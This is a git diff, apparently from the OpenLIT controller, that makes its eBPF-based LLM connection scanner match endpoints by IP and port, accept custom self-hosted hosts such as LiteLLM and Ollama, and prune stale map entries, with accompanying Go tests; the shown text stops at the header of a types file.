diff --git a/openlit-controller/internal/scanner/connscan.go b/openlit-controller/internal/scanner/connscan.go
index c425b250..ba11b35b 100644
--- a/openlit-controller/internal/scanner/connscan.go
+++ b/openlit-controller/internal/scanner/connscan.go
@@ -12,6 +12,7 @@ import (
"path/filepath"
"strconv"
"strings"
+ "sync"
"go.uber.org/zap"
)
@@ -19,41 +20,50 @@ import (
const tcpEstablished = "01"
// ConnScanner scans /proc/net/tcp{,6} for established connections to known
-// LLM API IPs. This catches connections that already existed before the
+// LLM API endpoints. This catches connections that already existed before the
// kprobe was attached (e.g. apps with long-lived HTTP keep-alive pools).
+//
+// Endpoints are keyed on IP+port so self-hosted proxies on non-443 ports
+// (LiteLLM :4000, Ollama :11434, vLLM :8000, ...) are matched without
+// flagging unrelated traffic to a shared IP.
type ConnScanner struct {
procRoot string
- knownIPs map[[4]byte]uint8 // IPv4 -> provider_id (mirrors BPF map)
logger *zap.Logger
+
+ // mu guards knownEndpoints. The map is replaced wholesale (never mutated in
+ // place), so readers snapshot the reference under RLock and use it lock-free.
+ // UpdateEndpoints runs from the refresh loop while Scan runs from the conn
+ // scan loop, so this access must be synchronised.
+ mu sync.RWMutex
+ knownEndpoints map[endpointKey]uint8 // IPv4+port -> provider_id (mirrors BPF map)
}
func NewConnScanner(procRoot string, logger *zap.Logger) *ConnScanner {
return &ConnScanner{
- procRoot: procRoot,
- knownIPs: make(map[[4]byte]uint8),
- logger: logger,
+ procRoot: procRoot,
+ knownEndpoints: make(map[endpointKey]uint8),
+ logger: logger,
}
}
-// UpdateIPs rebuilds the known-IP set from resolved LLM hosts.
-// Called after each HostResolver.Refresh().
-func (c *ConnScanner) UpdateIPs(resolved map[string][]net.IP) {
- c.knownIPs = make(map[[4]byte]uint8, len(resolved)*4)
- for host, ips := range resolved {
- provID, ok := llmHosts[host]
- if !ok {
- continue
- }
- for _, ip := range ips {
- ip4 := ip.To4()
- if ip4 == nil {
- continue
- }
- var key [4]byte
- copy(key[:], ip4)
- c.knownIPs[key] = provID
- }
+// UpdateEndpoints rebuilds the known-endpoint set from resolved targets.
+// Called after each RefreshAndUpdateBoth resolution cycle.
+func (c *ConnScanner) UpdateEndpoints(resolved map[endpointKey]uint8) {
+ next := make(map[endpointKey]uint8, len(resolved))
+ for k, v := range resolved {
+ next[k] = v
}
+ c.mu.Lock()
+ c.knownEndpoints = next
+ c.mu.Unlock()
+}
+
+// endpointsSnapshot returns the current known-endpoint map. The returned map is
+// read-only and must not be mutated (it is shared with future readers).
+func (c *ConnScanner) endpointsSnapshot() map[endpointKey]uint8 {
+ c.mu.RLock()
+ defer c.mu.RUnlock()
+ return c.knownEndpoints
}
// Scan finds established connections to known LLM API IPs and attributes each
@@ -72,7 +82,10 @@ func (c *ConnScanner) UpdateIPs(resolved map[string][]net.IP) {
// To avoid redundantly parsing the same /proc/<pid>/net/tcp for PIDs that
// share a network namespace, results are cached by namespace inode.
func (c *ConnScanner) Scan() []LLMConnectEvent {
- if len(c.knownIPs) == 0 {
+ // Snapshot the endpoint set once for the whole scan so it's consistent and
+ // lock-free for the duration (the map is never mutated in place).
+ known := c.endpointsSnapshot()
+ if len(known) == 0 {
return nil
}
@@ -107,7 +120,7 @@ func (c *ConnScanner) Scan() []LLMConnectEvent {
inodeToMatch = make(map[uint64]connMatch)
for _, variant := range []string{"tcp", "tcp6"} {
path := filepath.Join(pidDir, "net", variant)
- matches := c.scanTCPFileWithInodes(path, variant == "tcp6")
+ matches := c.scanTCPFileWithInodes(path, variant == "tcp6", known)
for _, m := range matches {
inodeToMatch[m.inode] = m
}
@@ -127,7 +140,7 @@ func (c *ConnScanner) Scan() []LLMConnectEvent {
if !ok {
continue
}
- key := fmt.Sprintf("%d:%s", pid, m.remoteIP)
+ key := fmt.Sprintf("%d:%s:%d", pid, m.remoteIP, m.remotePort)
if _, dup := seen[key]; dup {
continue
}
@@ -191,7 +204,7 @@ func readSocketInodes(fdDir string) []uint64 {
// scanTCPFileWithInodes parses /proc/net/tcp{,6} and returns connections
// to known LLM IPs along with their socket inode numbers.
-func (c *ConnScanner) scanTCPFileWithInodes(path string, isV6 bool) []connMatch {
+func (c *ConnScanner) scanTCPFileWithInodes(path string, isV6 bool, known map[endpointKey]uint8) []connMatch {
f, err := os.Open(path)
if err != nil {
return nil
@@ -211,12 +224,13 @@ func (c *ConnScanner) scanTCPFileWithInodes(path string, isV6 bool) []connMatch
continue
}
ip4, port := parseHexIPPort(fields[2], isV6)
- if ip4 == nil || port != 443 {
+ if ip4 == nil {
continue
}
- var key [4]byte
- copy(key[:], ip4)
- provID, ok := c.knownIPs[key]
+ var key endpointKey
+ copy(key.Addr[:], ip4)
+ key.Port = port
+ provID, ok := known[key]
if !ok {
continue
}
@@ -224,13 +238,14 @@ func (c *ConnScanner) scanTCPFileWithInodes(path string, isV6 bool) []connMatch
if err != nil {
continue
}
- matches = append(matches, connMatch{remoteIP: ip4, providerID: provID, inode: inode})
+ matches = append(matches, connMatch{remoteIP: ip4, remotePort: port, providerID: provID, inode: inode})
}
return matches
}
type connMatch struct {
remoteIP net.IP
+ remotePort uint16
providerID uint8
inode uint64
}
@@ -277,47 +292,12 @@ func parseHexIPPort(s string, isV6 bool) (net.IP, uint16) {
return ip.To4(), uint16(portVal)
}
-// ResolveAllHosts resolves all LLM hostnames and returns the results.
-// Used to feed both the BPF map and the ConnScanner's known IP set.
-func ResolveAllHosts() map[string][]net.IP {
- resolved := make(map[string][]net.IP, len(llmHosts))
- for host := range llmHosts {
- addrs, err := net.LookupHost(host)
- if err != nil {
- continue
- }
- for _, a := range addrs {
- ip := net.ParseIP(a).To4()
- if ip != nil {
- resolved[host] = append(resolved[host], ip)
- }
- }
- }
- return resolved
-}
-
-// RefreshAndUpdateBoth refreshes DNS, updates both the BPF map and ConnScanner IPs.
+// RefreshAndUpdateBoth resolves all targets once, programs the BPF endpoint map
+// (with stale-key pruning, handled by the resolver) and updates the
+// ConnScanner's known-endpoint set from the same resolution result.
func RefreshAndUpdateBoth(resolver *HostResolver, connScan *ConnScanner, logger *zap.Logger) {
- resolved := ResolveAllHosts()
- for host, ips := range resolved {
- provID := llmHosts[host]
- for _, ip := range ips {
- var key [4]byte
- copy(key[:], ip.To4())
- if err := resolver.ipMap.Put(key, provID); err != nil {
- logger.Warn("failed to update BPF map", zap.String("ip", ip.String()), zap.Error(err))
- }
- }
- logger.Debug("resolved LLM host", zap.String("host", host), zap.Int("ips", len(ips)))
- }
- connScan.UpdateIPs(resolved)
- logger.Debug("updated conn scanner IPs", zap.Int("total_ips", countIPs(resolved)))
-}
-
-func countIPs(m map[string][]net.IP) int {
- n := 0
- for _, ips := range m {
- n += len(ips)
- }
- return n
+ resolved := resolveTargets(resolver.Targets(), logger)
+ resolver.applyResolved(resolved)
+ connScan.UpdateEndpoints(resolved)
+ logger.Debug("updated conn scanner endpoints", zap.Int("total_endpoints", len(resolved)))
}
diff --git a/openlit-controller/internal/scanner/connscan_test.go b/openlit-controller/internal/scanner/connscan_test.go
index 728c04b4..dcb578f1 100644
--- a/openlit-controller/internal/scanner/connscan_test.go
+++ b/openlit-controller/internal/scanner/connscan_test.go
@@ -140,10 +140,10 @@ func TestScanWithKnownIPsDoesNotPanic(t *testing.T) {
logger, _ := zap.NewDevelopment()
cs := NewConnScanner("/proc", logger)
- // Add a bogus IP so the scanner actually iterates /proc
- var key [4]byte
- key[0], key[1], key[2], key[3] = 192, 0, 2, 1
- cs.knownIPs[key] = 1
+ // Add a bogus endpoint so the scanner actually iterates /proc
+ key := endpointKey{Port: 443}
+ key.Addr[0], key.Addr[1], key.Addr[2], key.Addr[3] = 192, 0, 2, 1
+ cs.knownEndpoints[key] = 1
// Should not panic even scanning real /proc
events := cs.Scan()
@@ -158,45 +158,40 @@ func TestPIDBoundsCheckInScan(t *testing.T) {
}
}
-func TestConnScannerUpdateIPs(t *testing.T) {
+func TestConnScannerUpdateEndpoints(t *testing.T) {
logger, _ := zap.NewDevelopment()
cs := NewConnScanner("/proc", logger)
- resolved := map[string][]net.IP{
- "api.openai.com": {net.ParseIP("104.18.6.192")},
- }
- cs.UpdateIPs(resolved)
-
- if len(cs.knownIPs) != 1 {
- t.Fatalf("expected 1 known IP, got %d", len(cs.knownIPs))
- }
-}
+ openai := endpointKey{Port: 443}
+ copy(openai.Addr[:], net.ParseIP("104.18.6.192").To4())
+ litellm := endpointKey{Port: 4000}
+ copy(litellm.Addr[:], net.ParseIP("10.0.0.5").To4())
-func TestConnScannerUpdateIPsSkipsUnknownHosts(t *testing.T) {
- logger, _ := zap.NewDevelopment()
- cs := NewConnScanner("/proc", logger)
+ cs.UpdateEndpoints(map[endpointKey]uint8{
+ openai: 1,
+ litellm: providerCustom,
+ })
- resolved := map[string][]net.IP{
- "unknown-host.example.com": {net.ParseIP("1.2.3.4")},
+ if len(cs.knownEndpoints) != 2 {
+ t.Fatalf("expected 2 known endpoints, got %d", len(cs.knownEndpoints))
}
- cs.UpdateIPs(resolved)
-
- if len(cs.knownIPs) != 0 {
- t.Fatalf("expected 0 known IPs for unknown host, got %d", len(cs.knownIPs))
+ if cs.knownEndpoints[litellm] != providerCustom {
+ t.Fatalf("expected litellm provider for :4000 endpoint, got %d", cs.knownEndpoints[litellm])
}
}
-func TestConnScannerUpdateIPsSkipsIPv6(t *testing.T) {
+func TestConnScannerUpdateEndpointsReplaces(t *testing.T) {
logger, _ := zap.NewDevelopment()
cs := NewConnScanner("/proc", logger)
- resolved := map[string][]net.IP{
- "api.openai.com": {net.ParseIP("2001:db8::1")},
- }
- cs.UpdateIPs(resolved)
+ first := endpointKey{Port: 443}
+ copy(first.Addr[:], net.ParseIP("1.2.3.4").To4())
+ cs.UpdateEndpoints(map[endpointKey]uint8{first: 1})
- if len(cs.knownIPs) != 0 {
- t.Fatalf("expected 0 known IPs for pure IPv6, got %d", len(cs.knownIPs))
+ // A subsequent update replaces (does not merge) the set.
+ cs.UpdateEndpoints(map[endpointKey]uint8{})
+ if len(cs.knownEndpoints) != 0 {
+ t.Fatalf("expected endpoints to be replaced/cleared, got %d", len(cs.knownEndpoints))
}
}
@@ -204,7 +199,7 @@ func TestScanTCPFileWithInodesNonexistent(t *testing.T) {
logger, _ := zap.NewDevelopment()
cs := NewConnScanner("/proc", logger)
- matches := cs.scanTCPFileWithInodes("/nonexistent/tcp", false)
+ matches := cs.scanTCPFileWithInodes("/nonexistent/tcp", false, cs.knownEndpoints)
if matches != nil {
t.Fatalf("expected nil for nonexistent file, got %d matches", len(matches))
}
@@ -214,10 +209,10 @@ func TestScanTCPFileWithInodesValidFile(t *testing.T) {
logger, _ := zap.NewDevelopment()
cs := NewConnScanner("/proc", logger)
- // Add a known IP so we can potentially match
- var key [4]byte
- key[0], key[1], key[2], key[3] = 192, 0, 2, 1
- cs.knownIPs[key] = 1
+ // Add a known endpoint (192.0.2.1:443) so we can match the rem_address below
+ key := endpointKey{Port: 443}
+ key.Addr[0], key.Addr[1], key.Addr[2], key.Addr[3] = 192, 0, 2, 1
+ cs.knownEndpoints[key] = 1
// Create a temp file simulating /proc/net/tcp
dir := t.TempDir()
@@ -229,7 +224,7 @@ func TestScanTCPFileWithInodesValidFile(t *testing.T) {
t.Fatal(err)
}
- matches := cs.scanTCPFileWithInodes(tcpFile, false)
+ matches := cs.scanTCPFileWithInodes(tcpFile, false, cs.knownEndpoints)
if len(matches) != 1 {
t.Fatalf("expected 1 match, got %d", len(matches))
}
diff --git a/openlit-controller/internal/scanner/hosts.go b/openlit-controller/internal/scanner/hosts.go
index e6fec3bd..8b59cf04 100644
--- a/openlit-controller/internal/scanner/hosts.go
+++ b/openlit-controller/internal/scanner/hosts.go
@@ -3,27 +3,45 @@
package scanner
import (
- "context"
+ "encoding/binary"
"net"
- "time"
+ "strconv"
+ "strings"
"github.com/cilium/ebpf"
"go.uber.org/zap"
)
-var llmHosts = map[string]uint8{
- "api.openai.com": 1, // PROVIDER_OPENAI
- "api.anthropic.com": 2, // PROVIDER_ANTHROPIC
- "generativelanguage.googleapis.com": 3, // PROVIDER_GEMINI
- "api.cohere.com": 4, // PROVIDER_COHERE
- "api.mistral.ai": 5, // PROVIDER_MISTRAL
- "api.groq.com": 6, // PROVIDER_GROQ
- "api.deepseek.com": 7, // PROVIDER_DEEPSEEK
- "api.together.xyz": 8, // PROVIDER_TOGETHER
- "api.fireworks.ai": 9, // PROVIDER_FIREWORKS
- "ai-gateway.vercel.sh": 10, // PROVIDER_VERCEL_AI
- "aiplatform.googleapis.com": 11, // PROVIDER_VERTEX_AI
- "models.inference.ai.azure.com": 12, // PROVIDER_AZURE_INFERENCE (GitHub Models)
+// endpointKey mirrors `struct llm_endpoint_key` in bpf/llm_scanner.h. The
+// layout (u32 addr in network byte order, u16 port in host byte order, packed)
+// must stay byte-identical to the C struct so BPF map lookups match.
+type endpointKey struct {
+ Addr [4]byte
+ Port uint16
+}
+
+// llmTarget describes one hostname (or IP) to monitor, the destination port,
+// and the provider ID to attribute matched connections to.
+type llmTarget struct {
+ Host string
+ Port uint16
+ ProviderID uint8
+}
+
+// builtinTargets are the public SaaS LLM endpoints, all on HTTPS (443).
+var builtinTargets = []llmTarget{
+ {Host: "api.openai.com", Port: 443, ProviderID: 1}, // PROVIDER_OPENAI
+ {Host: "api.anthropic.com", Port: 443, ProviderID: 2}, // PROVIDER_ANTHROPIC
+ {Host: "generativelanguage.googleapis.com", Port: 443, ProviderID: 3}, // PROVIDER_GEMINI
+ {Host: "api.cohere.com", Port: 443, ProviderID: 4}, // PROVIDER_COHERE
+ {Host: "api.mistral.ai", Port: 443, ProviderID: 5}, // PROVIDER_MISTRAL
+ {Host: "api.groq.com", Port: 443, ProviderID: 6}, // PROVIDER_GROQ
+ {Host: "api.deepseek.com", Port: 443, ProviderID: 7}, // PROVIDER_DEEPSEEK
+ {Host: "api.together.xyz", Port: 443, ProviderID: 8}, // PROVIDER_TOGETHER
+ {Host: "api.fireworks.ai", Port: 443, ProviderID: 9}, // PROVIDER_FIREWORKS
+ {Host: "ai-gateway.vercel.sh", Port: 443, ProviderID: 10}, // PROVIDER_VERCEL_AI
+ {Host: "aiplatform.googleapis.com", Port: 443, ProviderID: 11}, // PROVIDER_VERTEX_AI
+ {Host: "models.inference.ai.azure.com", Port: 443, ProviderID: 12}, // PROVIDER_AZURE_INFERENCE (GitHub Models)
}
// Well-known Bedrock regions. New regions are detected dynamically if
@@ -36,55 +54,188 @@ var bedrockRegions = []string{
func init() {
var id uint8 = 20
for _, region := range bedrockRegions {
- llmHosts["bedrock-runtime."+region+".amazonaws.com"] = id
+ builtinTargets = append(builtinTargets, llmTarget{
+ Host: "bedrock-runtime." + region + ".amazonaws.com",
+ Port: 443,
+ ProviderID: id,
+ })
id++
}
}
// HostResolver periodically resolves LLM API hostnames and updates the BPF map.
+// It owns the set of targets (built-in + user-configured custom hosts) and the
+// last-resolved BPF keys so it can prune stale entries on each refresh.
type HostResolver struct {
- ipMap *ebpf.Map
- logger *zap.Logger
+ epMap *ebpf.Map
+ logger *zap.Logger
+ targets []llmTarget
+ custom []llmTarget
+ live map[endpointKey]struct{} // keys currently programmed into the BPF map
+}
+
+// NewHostResolver creates a resolver that keeps the BPF endpoint map updated.
+func NewHostResolver(epMap *ebpf.Map, logger *zap.Logger) *HostResolver {
+ r := &HostResolver{
+ epMap: epMap,
+ logger: logger,
+ live: make(map[endpointKey]struct{}),
+ }
+ r.rebuildTargets()
+ return r
}
-// NewHostResolver creates a resolver that keeps the BPF IPv4 map updated.
-func NewHostResolver(ipMap *ebpf.Map, logger *zap.Logger) *HostResolver {
- return &HostResolver{ipMap: ipMap, logger: logger}
+// SetCustomTargets replaces the user-configured custom targets. The combined
+// target set takes effect on the next Refresh.
+func (r *HostResolver) SetCustomTargets(custom []llmTarget) {
+ r.custom = custom
+ r.rebuildTargets()
}
-// Refresh resolves all LLM hostnames and updates the BPF hash map only.
-func (r *HostResolver) Refresh() {
- for host, providerID := range llmHosts {
- ips, err := net.LookupHost(host)
- if err != nil {
- r.logger.Debug("failed to resolve LLM host", zap.String("host", host), zap.Error(err))
- continue
+func (r *HostResolver) rebuildTargets() {
+ combined := make([]llmTarget, 0, len(builtinTargets)+len(r.custom))
+ combined = append(combined, builtinTargets...)
+ combined = append(combined, r.custom...)
+ r.targets = combined
+}
+
+// Targets returns the current combined target set (built-in + custom).
+func (r *HostResolver) Targets() []llmTarget {
+ out := make([]llmTarget, len(r.targets))
+ copy(out, r.targets)
+ return out
+}
+
+// applyResolved reconciles the BPF endpoint map against a freshly resolved set:
+// it adds keys for newly resolved IP+port pairs and removes keys that are no
+// longer present (e.g. after DNS changes or a custom host being removed).
+func (r *HostResolver) applyResolved(resolved map[endpointKey]uint8) {
+ next := make(map[endpointKey]struct{}, len(resolved))
+ for key, providerID := range resolved {
+ next[key] = struct{}{}
+ if err := r.epMap.Put(key, providerID); err != nil {
+ r.logger.Warn("failed to update BPF endpoint map",
+ zap.String("ip", net.IP(key.Addr[:]).String()),
+ zap.Uint16("port", key.Port),
+ zap.Error(err))
}
- for _, ipStr := range ips {
- ip := net.ParseIP(ipStr).To4()
- if ip == nil {
+ }
+
+ for key := range r.live {
+ if _, ok := next[key]; !ok {
+ if err := r.epMap.Delete(key); err != nil {
+ r.logger.Debug("failed to delete stale BPF endpoint",
+ zap.String("ip", net.IP(key.Addr[:]).String()),
+ zap.Uint16("port", key.Port),
+ zap.Error(err))
+ }
+ }
+ }
+ r.live = next
+}
+
+// resolveTargets resolves every target's host to its IPv4 addresses and returns
+// the BPF endpoint keys (IP+port) mapped to the provider ID. Targets whose host
+// is already a literal IP are used directly without a DNS lookup, which is the
+// common case for self-hosted proxies addressed by IP.
+func resolveTargets(targets []llmTarget, logger *zap.Logger) map[endpointKey]uint8 {
+ out := make(map[endpointKey]uint8, len(targets)*2)
+ for _, t := range targets {
+ var ips []net.IP
+ if ip := net.ParseIP(t.Host); ip != nil {
+ ips = []net.IP{ip}
+ } else {
+ addrs, err := net.LookupHost(t.Host)
+ if err != nil {
+ if logger != nil {
+ logger.Debug("failed to resolve LLM host", zap.String("host", t.Host), zap.Error(err))
+ }
continue
}
- var key [4]byte
- copy(key[:], ip)
- if err := r.ipMap.Put(key, providerID); err != nil {
- r.logger.Warn("failed to update BPF map", zap.String("ip", ipStr), zap.Error(err))
+ for _, a := range addrs {
+ if ip := net.ParseIP(a); ip != nil {
+ ips = append(ips, ip)
+ }
}
}
- r.logger.Debug("resolved LLM host", zap.String("host", host), zap.Int("ips", len(ips)))
+ for _, ip := range ips {
+ ip4 := ip.To4()
+ if ip4 == nil {
+ continue
+ }
+ var key endpointKey
+ copy(key.Addr[:], ip4)
+ key.Port = t.Port
+ out[key] = t.ProviderID
+ }
+ if logger != nil {
+ logger.Debug("resolved LLM target",
+ zap.String("host", t.Host),
+ zap.Uint16("port", t.Port),
+ zap.Int("ips", len(ips)))
+ }
}
+ return out
}
-// RunRefreshLoop refreshes host IPs at the given interval until ctx is cancelled.
-func (r *HostResolver) RunRefreshLoop(ctx context.Context, interval time.Duration) {
- ticker := time.NewTicker(interval)
- defer ticker.Stop()
- for {
- select {
- case <-ctx.Done():
- return
- case <-ticker.C:
- r.Refresh()
+// ParseCustomHostSpecs converts user-supplied "host[:port]" strings into
+// targets. A spec without a port defaults to 443. IPv6 literal hosts must be
+// bracketed (e.g. "[::1]:11434"); they are accepted here but only IPv4
+// resolution is currently honoured downstream. Invalid specs are logged and
+// skipped rather than failing the whole update.
+func ParseCustomHostSpecs(specs []string, logger *zap.Logger) []llmTarget {
+ targets := make([]llmTarget, 0, len(specs))
+ for _, raw := range specs {
+ spec := strings.TrimSpace(raw)
+ if spec == "" {
+ continue
+ }
+
+ host := spec
+ var port uint16 = 443
+
+ if h, p, err := net.SplitHostPort(spec); err == nil {
+ pn, perr := strconv.ParseUint(p, 10, 16)
+ if perr != nil || pn == 0 {
+ if logger != nil {
+ logger.Warn("skipping custom LLM host with invalid port", zap.String("spec", spec))
+ }
+ continue
+ }
+ host = h
+ port = uint16(pn)
+ } else if strings.Contains(spec, ":") && !strings.HasPrefix(spec, "[") {
+ // A bare IPv6 literal (e.g. "::1") trips SplitHostPort; treat the
+ // whole spec as the host on the default port.
+ if ip := net.ParseIP(spec); ip == nil {
+ if logger != nil {
+ logger.Warn("skipping malformed custom LLM host", zap.String("spec", spec))
+ }
+ continue
+ }
+ }
+
+ host = strings.TrimSpace(host)
+ if host == "" {
+ continue
}
+
+ targets = append(targets, llmTarget{
+ Host: host,
+ Port: port,
+ ProviderID: providerCustom,
+ })
}
+ return targets
+}
+
+// MarshalBinary encodes endpointKey to match the packed C struct layout:
+// 4-byte addr (already network byte order) followed by 2-byte port in the
+// host byte order the BPF program stores it in. cilium/ebpf calls this when
+// the key implements encoding.BinaryMarshaler.
+func (k endpointKey) MarshalBinary() ([]byte, error) {
+ b := make([]byte, 6)
+ copy(b[0:4], k.Addr[:])
+ binary.LittleEndian.PutUint16(b[4:6], k.Port)
+ return b, nil
}
diff --git a/openlit-controller/internal/scanner/hosts_test.go b/openlit-controller/internal/scanner/hosts_test.go
new file mode 100644
index 00000000..87bd509c
--- /dev/null
+++ b/openlit-controller/internal/scanner/hosts_test.go
@@ -0,0 +1,158 @@
+//go:build linux
+
+package scanner
+
+import (
+ "encoding/binary"
+ "net"
+ "os"
+ "path/filepath"
+ "testing"
+
+ "go.uber.org/zap"
+)
+
+func TestParseCustomHostSpecs(t *testing.T) {
+ logger, _ := zap.NewDevelopment()
+
+ cases := []struct {
+ spec string
+ wantHost string
+ wantPort uint16
+ wantProv uint8
+ }{
+ // Every custom spec maps to providerCustom regardless of port — we do not
+ // infer the specific vendor from the port.
+ {"litellm.internal:4000", "litellm.internal", 4000, providerCustom},
+ {"ollama.local:11434", "ollama.local", 11434, providerCustom},
+ {"vllm.svc:8000", "vllm.svc", 8000, providerCustom},
+ {"my-azure.openai.azure.com", "my-azure.openai.azure.com", 443, providerCustom},
+ {" gateway.internal:9999 ", "gateway.internal", 9999, providerCustom},
+ {"127.0.0.1:11434", "127.0.0.1", 11434, providerCustom},
+ }
+
+ for _, tc := range cases {
+ got := ParseCustomHostSpecs([]string{tc.spec}, logger)
+ if len(got) != 1 {
+ t.Fatalf("spec %q: expected 1 target, got %d", tc.spec, len(got))
+ }
+ tgt := got[0]
+ if tgt.Host != tc.wantHost || tgt.Port != tc.wantPort || tgt.ProviderID != tc.wantProv {
+ t.Fatalf("spec %q: got %+v, want host=%s port=%d prov=%d",
+ tc.spec, tgt, tc.wantHost, tc.wantPort, tc.wantProv)
+ }
+ }
+}
+
+func TestParseCustomHostSpecsSkipsInvalid(t *testing.T) {
+ logger, _ := zap.NewDevelopment()
+
+ // Empty, blank, zero-port and non-numeric-port specs are dropped.
+ got := ParseCustomHostSpecs([]string{"", " ", "host:0", "host:notaport"}, logger)
+ if len(got) != 0 {
+ t.Fatalf("expected all invalid specs dropped, got %d: %+v", len(got), got)
+ }
+}
+
+func TestParseHexIPPortNon443(t *testing.T) {
+ // A0000F:0FA0 → 4000 in hex is 0FA0; build "0A00000A:0FA0" = 10.0.0.10:4000
+ ip, port := parseHexIPPort("0A00000A:0FA0", false)
+ if port != 4000 {
+ t.Fatalf("expected port 4000, got %d", port)
+ }
+ if ip == nil || ip[0] != 10 || ip[3] != 10 {
+ t.Fatalf("unexpected IP %s", ip)
+ }
+}
+
+// TestScanTCPFileMatchesNon443 verifies the connscan no longer hard-requires
+// port 443: a LiteLLM-style connection on :4000 is matched when its endpoint
+// (IP+port) is in the known set.
+func TestScanTCPFileMatchesNon443(t *testing.T) {
+ logger, _ := zap.NewDevelopment()
+ cs := NewConnScanner("/proc", logger)
+
+ // 10.0.0.10:4000
+ key := endpointKey{Port: 4000}
+ key.Addr[0], key.Addr[1], key.Addr[2], key.Addr[3] = 10, 0, 0, 10
+ cs.knownEndpoints[key] = providerCustom
+
+ dir := t.TempDir()
+ tcpFile := filepath.Join(dir, "tcp")
+ // rem_address 0A00000A:0FA0 = 10.0.0.10:4000, state 01 (ESTABLISHED), inode 55555
+ content := ` sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
+ 0: 0100007F:C350 0A00000A:0FA0 01 00000000:00000000 00:00000000 00000000 0 0 55555 1 0000000000000000 100 0 0 10 0
+`
+ if err := os.WriteFile(tcpFile, []byte(content), 0644); err != nil {
+ t.Fatal(err)
+ }
+
+ matches := cs.scanTCPFileWithInodes(tcpFile, false, cs.knownEndpoints)
+ if len(matches) != 1 {
+ t.Fatalf("expected 1 non-443 match, got %d", len(matches))
+ }
+ if matches[0].remotePort != 4000 || matches[0].providerID != providerCustom {
+ t.Fatalf("unexpected match %+v", matches[0])
+ }
+}
+
+// TestScanTCPFileIgnoresWrongPort verifies that a connection to a known IP on a
+// port that is NOT in the endpoint set is ignored (no IP-only matching).
+func TestScanTCPFileIgnoresWrongPort(t *testing.T) {
+ logger, _ := zap.NewDevelopment()
+ cs := NewConnScanner("/proc", logger)
+
+ // Known endpoint is 10.0.0.10:4000 ...
+ key := endpointKey{Port: 4000}
+ key.Addr[0], key.Addr[1], key.Addr[2], key.Addr[3] = 10, 0, 0, 10
+ cs.knownEndpoints[key] = providerCustom
+
+ dir := t.TempDir()
+ tcpFile := filepath.Join(dir, "tcp")
+ // ... but the connection is to 10.0.0.10:443 (0FA0 → 01BB), should NOT match.
+ content := ` sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
+ 0: 0100007F:C350 0A00000A:01BB 01 00000000:00000000 00:00000000 00000000 0 0 55555 1 0000000000000000 100 0 0 10 0
+`
+ if err := os.WriteFile(tcpFile, []byte(content), 0644); err != nil {
+ t.Fatal(err)
+ }
+
+ matches := cs.scanTCPFileWithInodes(tcpFile, false, cs.knownEndpoints)
+ if len(matches) != 0 {
+ t.Fatalf("expected no match for known IP on unknown port, got %d", len(matches))
+ }
+}
+
+func TestEndpointKeyMarshalBinary(t *testing.T) {
+ key := endpointKey{Port: 11434}
+ key.Addr[0], key.Addr[1], key.Addr[2], key.Addr[3] = 127, 0, 0, 1
+
+ b, err := key.MarshalBinary()
+ if err != nil {
+ t.Fatal(err)
+ }
+ if len(b) != 6 {
+ t.Fatalf("expected 6-byte key, got %d", len(b))
+ }
+ if b[0] != 127 || b[1] != 0 || b[2] != 0 || b[3] != 1 {
+ t.Fatalf("addr bytes wrong: %v", b[:4])
+ }
+ // Port stored little-endian to match the bpfel struct layout.
+ if got := binary.LittleEndian.Uint16(b[4:6]); got != 11434 {
+ t.Fatalf("expected port 11434 LE, got %d", got)
+ }
+}
+
+func TestResolveTargetsLiteralIP(t *testing.T) {
+ logger, _ := zap.NewDevelopment()
+ resolved := resolveTargets([]llmTarget{
+ {Host: "10.1.2.3", Port: 4000, ProviderID: providerCustom},
+ }, logger)
+
+ var key endpointKey
+ copy(key.Addr[:], net.ParseIP("10.1.2.3").To4())
+ key.Port = 4000
+ if resolved[key] != providerCustom {
+ t.Fatalf("expected literal IP target resolved to litellm, got %+v", resolved)
+ }
+}
diff --git a/openlit-controller/internal/scanner/scanner.go b/openlit-controller/internal/scanner/scanner.go
index 2b33e3b3..f6def4d3 100644
--- a/openlit-controller/internal/scanner/scanner.go
+++ b/openlit-controller/internal/scanner/scanner.go
@@ -40,6 +40,7 @@ type Scanner struct {
procRoot string
closeCh chan struct{}
closeOnce sync.Once
+ refreshMu sync.Mutex // serialises host resolution / map reconciliation
}
// New loads the BPF program, attaches kprobes, and initialises the host resolver.
@@ -74,7 +75,7 @@ func New(logger *zap.Logger, procRoot string) (*Scanner, error) {
return nil, fmt.Errorf("create ring buffer reader: %w", err)
}
- resolver := NewHostResolver(objs.LlmIpv4, logger)
+ resolver := NewHostResolver(objs.LlmEndpoints, logger)
connScan := NewConnScanner(procRoot, logger)
// Initial DNS resolution populates both the BPF map and the ConnScanner IP set
@@ -110,11 +111,29 @@ func (s *Scanner) runHostRefreshLoop(ctx context.Context) {
case <-ctx.Done():
return
case <-ticker.C:
+ s.refreshMu.Lock()
RefreshAndUpdateBoth(s.resolver, s.connScan, s.logger)
+ s.refreshMu.Unlock()
}
}
}
+// UpdateCustomHosts replaces the user-configured custom monitoring targets and
+// immediately reconciles the BPF map and ConnScanner endpoint set. Each spec is
+// "host[:port]"; when the port is omitted it defaults to 443. The provider is
+// inferred from a well-known port (LiteLLM/Ollama/vLLM) and otherwise reported
+// as "custom". Safe to call concurrently with the refresh loop.
+func (s *Scanner) UpdateCustomHosts(specs []string) {
+ targets := ParseCustomHostSpecs(specs, s.logger)
+
+ s.refreshMu.Lock()
+ defer s.refreshMu.Unlock()
+
+ s.resolver.SetCustomTargets(targets)
+ RefreshAndUpdateBoth(s.resolver, s.connScan, s.logger)
+ s.logger.Info("custom LLM hosts updated", zap.Int("count", len(targets)))
+}
+
// Events returns the channel that emits LLM connection events.
func (s *Scanner) Events() <-chan LLMConnectEvent {
return s.eventsCh
diff --git a/openlit-controller/internal/scanner/scanner_stub.go b/openlit-controller/internal/scanner/scanner_stub.go
index fa215229..4170e49c 100644
--- a/openlit-controller/internal/scanner/scanner_stub.go
+++ b/openlit-controller/internal/scanner/scanner_stub.go
@@ -27,3 +27,6 @@ func (s *Scanner) Events() <-chan LLMConnectEvent { return nil }
// Close is a no-op on non-Linux.
func (s *Scanner) Close() error { return nil }
+
+// UpdateCustomHosts is a no-op on non-Linux.
+func (s *Scanner) UpdateCustomHosts(_ []string) {}
diff --git a/openlit-controller/internal/scanner/types.go b/openlit-controller/internal/scanner/types.go
index 8ac7c245..48f3fae3 100644
--- a/openlit-controller/internal/scanner/types.go
+++ b/openlit-controller/internal/scanner/types.go
